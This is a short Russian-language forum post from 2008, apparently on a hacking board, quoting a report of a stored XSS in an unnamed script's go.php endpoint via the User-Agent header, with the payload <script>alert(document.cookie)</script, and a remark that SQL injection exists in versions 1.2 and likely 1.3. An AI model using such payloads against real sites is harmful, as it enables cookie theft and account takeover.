Показать сообщение отдельно

  #9  
Старый 25.06.2008, 15:49
diehard
Постоянный
Регистрация: 30.09.2007
Сообщений: 815
С нами: 9796693

Репутация: 659


По умолчанию

Цитата:
Сообщение от gibson  
active xss
go.php?sid=***
PHP код:
User-Agent: <script>alert(document.cookie)</script
+++ Вот это хорошая уязвимость
SQL-inj есть в 1.2, наверное и в 1.3 есть, но толку от них мало